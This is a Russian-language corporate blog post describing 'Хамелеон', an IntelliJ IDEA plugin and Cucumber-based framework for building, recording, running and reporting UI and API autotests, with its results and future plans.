Автотест состоит из последовательности шагов, имитирующих действия пользователя (нажатия на кнопку, заполнение поля). Все эти шаги уже есть во фреймворке, так что тестировщик может просто собрать тест из готовых кубиков.


При разработке автотеста можно начать вводить наименование шага с клавиатуры и воспользоваться подсказкой для его подстановки, а также использовать библиотеку шагов, которая отображается в плагине.


При этом доступны подсказки не только для списка возможных шагов, но и для элементов, которые могут участвовать в выбранном действии. Плагин определяет страницу (контекст) и предлагает элементы из репозитория объектов или переменные для сucumber-шага, которые относятся к выбранной странице. Это исключает возможность ошибки при использовании еще не размеченного элемента страницы и ускоряет процесс разработки теста.




Второй способ разработки автоматизированного теста использование репозитория шагов. В плагине в древовидной структуре показываются шаги, которые можно перетащить методом Drag&Drop, как показано ниже. При использовании такого варианта создания автоматизированного теста тоже присутствуют подсказки элементов и переменных. Таким вариантом обычно пользуются начинающие сотрудники, которым проще искать необходимые шаги в репозитории, а не java-классах.




Третий способ разработки автотеста (самый удобный и популярный) с помощью нашего расширения для браузера Google Chrome. Плагин записывает действия пользователя на странице тестируемого приложения и конвертирует их в автоматизированный тест.


Например, пользователь логинится на сайте, нажимая для этого на кнопку Логин. Рекордер записывает шаг * выполнено нажатие на поле Логин. Пользователь заполняет поле Логин значением User, рекордер записывает шаг * поле Логин заполняется значением User и так далее. После этого получившийся автотест можно скопировать и вставить в среду разработки для редактирования. Плагин автоматически, на основе объектного репозитория, определяет, на какой странице находится пользователь, и выполняет поиск размеченных элементов. Если элемента в репозитории нет, то будет предложено его добавить.


Пока рекордер существует только для браузера. В процессе разработки находится рекордер для SAP GUI.



Запуск и отладка


Обычно при запуске тестов необходимо создать в среде разработки конфигурацию запуска. Плагин позволяет запускать и отлаживать разработанные тесты нажатием правой кнопки мышки на тесте в списке тестов, а сама конфигурация запуска определяется на основе выбранных параметров на вкладке плагина Настройки. Из коробки можно выбрать:


  • подсветку элементов будут выделяться элементы, с которыми взаимодействует тест;
  • запись видео в случае ошибки к отчету будет прикреплено видео прохождения автоматизированного теста;
  • конфигурацию запуска браузер, в котором будет выполнен тест;
  • режим запуска с графическим интерфейсом или headless-режиме (без графического интерфейса);
  • закрытие браузера после теста удобно при разработке длинных тестов или локализации ошибок;
  • подключение к открытому браузеру чтобы начать автоматизированный тест не с начала, а с выбранного места, подключаясь к открытому браузеру.



Selenium не позволяет начать автоматизированный тест с произвольного места и на каждый запуск создает новую сессию браузера. Для экономии времени мы реализовали возможность начинать тест не сначала, а с любого момента: для Selenium был разработан механизм подключения к уже открытой сессии браузера.


Чтобы отслеживать ход выполнения теста, мы разработали консоль, куда перенаправляется весь лог с IntelliJ IDEA. Это позволяет контролировать процесс и понимать, что сейчас выполняет автоматизированный тест. Консоль отображается поверх содержимого экрана и не мешает выполнению теста. Есть возможность настраивать формат вывода в консоль (размер, шрифт, цвет и т.д.).




Документация


Плагин содержит документацию по работе с фреймворком, настройками запуска тестов, частые вопросы и т.д. Документация обновляется по мере разработки новой функциональности. Наличие документации в среде разработки позволяет разработчику тестов решить проблему, не покидая среды разработки.




Тестирование API


Для тестирования API (REST и SOAP) также используется объектный репозиторий. В этом случае страницами будут endpoint, а элементами заголовки и тело запроса.




Во фреймворке реализованы базовые действия с API, при наборе действий происходит автоподстановка параметров вызова.




Отчет о выполнении автоматизированных тестов


В качестве инструмента отчетности был выбран Allure. При запуске тестов из среды разработки IntelliJ IDEA аllure-отчет можно открыть прямо из плагина.


Если использовать классическое подключение Allure к проекту, то отчет о прохождении автоматизированных тестов строится после выполнения всех тестов. Такой подход не очень удобен при запуске большого количества автоматизированных тестов, поэтому мы создали отдельный сервис, который строит и перестраивает отчет в процессе всего запуска, а также показывает статистику очереди тестов на выполнение. Таким образом, мы получаем информацию о дефектах тестирования в режиме реального времени и можем вовремя среагировать.



Результаты


Хамелеон помог нам не на словах, а на деле.


Во-первых, с ним старт проектов стал гораздо быстрее. Ранее на него могло уйти до трех недель, теперь же обычный срок два дня.


Во-вторых, унификация подхода позволила минимизировать время переключения тестировщика при переходе на другой проект.


В-третьих, теперь мы привлекаем ручных теcтировщиков для написания автотестов. Временные затраты на их обучение минимальны, а этапы разработки системы автоматизации функционального тестирования это удешевляет.


Наконец, мы получили еще одно преимущество на отечественном рынке: кодирование на русском языке легче освоить. Для этого у нас есть корпоративный университет, где мы обучаем будущих тестировщиков писать автотесты с нуля буквально за месяц. И в этом очень важную роль играет Хамелеон: с его помощью мы закладываем общую базу, на нем обязательно проводим несколько занятий по разработке тестов. Ежемесячно через этот курс проходит 5-10 человек, имеющих базовые знания языка программирования Java.



Планы на будущее


На данный момент команда разработки трудится над инструментом управления тестированием Кайман, который объединит в себе ручное, автоматизированное и нагрузочное тестирование. Отдельная команда выделена на изучение технологии машинного зрения, что в дальнейшем должно позволить отказаться от локаторов элементов и разрабатывать автоматизированные тесты для приложений, где стандартными средствами распознавание элементов невозможно. Об этих инструментах мы расскажем в следующих наших постах.





* IBS AppLine лидер российского рынка услуг тестирования и обеспечения качества программного обеспечения, разработчик решений для автоматизации тестирования. Компания была создана в 2001 году, в штате более 700 специалистов, общее количество проектов превысило 1500.


** IBS AppLine Innovation (ранее Аплана АйТи Инновации) была создана в декабре 2017 года как центр исследований и разработки компании IBS AppLine (ранее Аплана). Основу команды составили ее собственные опытные инженеры и разработчики.

Подробнее..

Категории

Последние комментарии

© 2006-2020, personeltest.ru